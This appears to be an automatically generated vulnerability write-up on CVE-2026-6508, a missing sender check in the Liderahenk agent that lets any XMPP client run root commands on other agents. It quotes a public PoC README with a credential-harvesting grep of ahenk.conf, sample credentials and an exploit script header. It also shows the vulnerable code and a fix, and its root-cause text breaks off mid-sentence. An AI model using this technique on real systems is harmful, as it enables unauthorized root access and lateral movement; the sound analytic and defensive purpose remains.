🔥 CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 (未定位到源码) 源码进行独立审计(置信度 60%)。
🧬 根因独立理解
<p><strong>摘要:</strong>CVE-2026-6508 是 TUBITAK BILGEM 软件技术研究所开发的 Liderahenk 集中管理系统中存在的严重源验证缺失漏洞,CVSS 评分为 9.8。攻击者可利用任意已连接 XMPP 的客户端身份,冒充合法管理端点向目标代理发送执行指令,以 root 权限实现未授权远程代码执行与内网横向移动。该漏洞影响 Liderahenk 2.0.1 及之前版本,2.0.2 版本已修复。</p> <h2>📌 漏洞概述</h2> <p>CVE-2026-6508 被归类为 <strong>Origin Validation Error</strong>(源验证错误),对应 CWE-346。Liderahenk 的代理端(<code>ahenk</code> agent)在处理通过 XMPP 协议收到的管理消息时,未能验证消息发送方是否为合法的管理服务器(Lider Server),导致任意能访问同一 XMPP 消息总线的实体均可伪造管理指令。</p> <p>该漏洞影响 Liderahenk <strong>2.0.1 及之前版本</strong>,修复版本为 <strong>2.0.2</strong>。CVSS 3.x 评分为 <strong>9.8(Critical)</strong>,攻击向量为网络,无需认证,且无需用户交互。由于代理服务以 root 权限运行,攻击者一旦成功利用即可获得目标主机的完全控制权。</p> <h2>🔬 漏洞根因分析</h2> <p>Liderahenk 采用 XMPP 作为管理面板与终端代理之间的实时消息传输通道。在正常架构中,中心管理服务器(Lider Server)通过 XMPP 服务器向目标代理(例如 <code>ct-1</code>)发送 <code>EXECUTE_POLICY</code>、<code>EXECUTE_TASK</code> 或 <code>EXECUTE_SCRIPT</code> 等指令消息,代理收到后执行相应操作。</p> <p>问题在于,代理端在接收来自 XMPP 的消息时,<strong>仅依赖消息的目的 JID (即目标代理自己的 JID)进行路由,而完全没有校验消息的发送者是否为受信任的 Lider Server JID</strong>。也就是说,任何能够认证并连接到同一 XMPP 服务器的客户端(无论是被入侵的普通终端代理,还是攻击者自行注册的 XMPP 账号),只要构造一个包含 <code>EXECUTE_SCRIPT</code> 的消息,并将 <code>to</code> 属性设置为目标代理的 JID,XMPP 服务器就会正常转发该消息,而目标代理会将其当作合法的管理指令执行。</p> <p>从 XMPP 协议本身看,服务器只负责消息的存储转发,不保证业务层面的发送者授权。Liderahenk 的 agent 在实现中缺少了消息源认证的关键安全步骤——它没有检查消息的 <code>from</code> JID 是否属于已配置的管理服务器。这等同于信任 XMPP 网络中的所有对等实体。</p> <p>在公开的 PoC(EvilAhenk)中,攻击者首先获取一台已集成到 Liderahenk 系统的客户端(如 <code>ct-2</code>)的本地配置文件 <code>/etc/ahenk/ahenk.conf</code>,从中提取 XMPP 连接所需的 <code>uid</code>、<code>password</code>、<code>host</code>、<code>port</code> 等凭据。然后,使用这些合法凭据通过 standard XMPP 客户端库(如 Python 的 <code>slixmpp</code>)连接 XMPP 服务器,并直接以 <code>ct-2</code> 的身份向另一台客户端 <code>ct-1</code> 发送恶意的 <code>EXECUTE_SCRIPT</code> 消息。由于 <code>ct-2</code> 是系统中已注册的有效客户端,XMPP 服务器会正常接受并转发该消息,最终委托给 <code>ct-1</code> 上的 agent 进程。agent 进程不检查消息来源,直接作为 root 执行脚本,从而实现未授权 RCE。</p> <p>该漏洞的本质是<strong>缺少信任边界隔离</strong>:XMPP 网络被当作内部可信网络,但所有已注册设备都位于同一信任域,且任意设备被攻破后都可充当恶意控制节点。此设计缺陷将 XMPP 的“消息可路由”特性误认为“消息可信”,导致 ACL(访问控制列表)形同
🛤️ 漏洞触发链路
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源jackalkarlos/EvilAhenk针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-6508
EvilAhenk,LiderAhenk Merkezi Yönetim Sistemi mimarisinde,uç birimler (agents) arası tüm istemcilerin birbirleri üzerinde 'root' yetkisiyle kod çalıştırılmasına (Unauthorized RCE &Lateral Movement) olanak tanıyan kritik güvenlik zafiyetidir.
## Sistem Nasıl Çalışır
LiderAhenk'te yönetim paneli/merkez sunucu,
istemcilere XMPP üzerinden görev ve politika mesajları yollar.
- Merkez Yönetim Paneli yetkili kullanıcı ile XMPP sunucusuna bağlanır,- İstemcilerdeki `ahenk` agent'ları da aynı XMPP altyapısına bağlanır,- Merkez,hedef istemciye `EXECUTE_POLICY`,`EXECUTE_TASK` veya `EXECUTE_SCRIPT` gibi mesajlar yollar
- İstemci agent,
bu mesajları alıp uygular
Yani XMPP burada yönetim trafiğinin taşıma kanalıdır. Merkez panelin komutları normalde bu kanal üzerinden istemcilere gider.
## Beklenen akış ve zafiyetli akış farkı
Beklenen akış:
```text
Lider/Ahenk yonetim paneli ->XMPP sunucusu ->hedef agent
```
Zafiyetli akış:
- `ct-2`,aynı XMPP sunucusuna bağlı geçerli bir istemcidir
- `ct-2`,
`ct-1` JID'ini hedefleyerek XMPP server üzerinden `EXECUTE_SCRIPT` mesajı yollar
- XMPP sunucusu mesajı `ct-1`'e iletir
- `ct-1`,mesajın gerçekten `lider_sunucu`dan gelip gelmediğini kontrol etmeden komutu çalıştırır
- Komut root olarak çalışır çünkü `ahenk.service` root olarak çalışır
```text
ct-2 veya baska bir XMPP hesabi ->XMPP sunucusu ->ct-1 agent ->
root komut
```
Yani biz XMPP katmanını hacklemiyoruz. XMPP sunucusu normal mesaj yönlendirme yapıyor. Sorun,
`ct-1` tarafındaki Ahenk agent'inin gelen mesajın gerçekten yetkili yönetim hesabından gelip gelmediğini kontrol etmemesi.
## PoC
```
pip install slixmpp
```
Ele geçirilmiş ve merkezi yönetim sistemine bağlı bir client üzerinden aşağıdaki gibi bilgiler toplanır:
```bash
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
```
Örnek Çıktı;
```bash
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
```
Main.py dosyasını aldığımız bilgilere göre güncelliyoruz,im.liderahenk.org domain,
pardus-ct-1 hedef uid
```
- XMPP user: `pardus-ct-2@im.liderahenk.org`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `pardus-ct-1@im.liderahenk.org`
```
Kurban makinede çalıştırılacak komut COMMAND değişkeni değiştirilerek düzenlenebilir.
```py
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py |
head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "pardus-ct-2@im.liderahenk.org"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "pardus-ct-1@im.liderahenk.org"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id >/tmp/who;
false"
```
## Zafiyetli kod
`repos/ahenk/src/base/messaging/messenger.py` içinde gelen mesaj sadece `type` alanına göre işleniyor. `msg['from']` için yetkili gönderici kontrolü yok:
```p
def recv_direct_message(self,msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type,
str(msg['body']))
```
`repos/ahenk/src/base/execution/execution_manager.py` içinde ise `EXECUTE_SCRIPT` doğrudan komut çalıştırmaya gidiyor:
```python
def execute_script(self,arg):
json_data = json.loads(arg)
result_code,p_out,
p_err = Util.execute(str(json_data['command']))
```
Bu iki parça birleşince etkisi şu oluyor:
- XMPP sunucusu mesajı hedefe iletiyor
- Kurban agent göndereni doğrulamadan `EXECUTE_SCRIPT` event'ini tetikliyor
- Komut root olarak çalışıyor
Olabilecek tasarımsal fix;```python
def recv_direct_message(self,
msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s",actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'],str(msg['body']))⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-04 03:01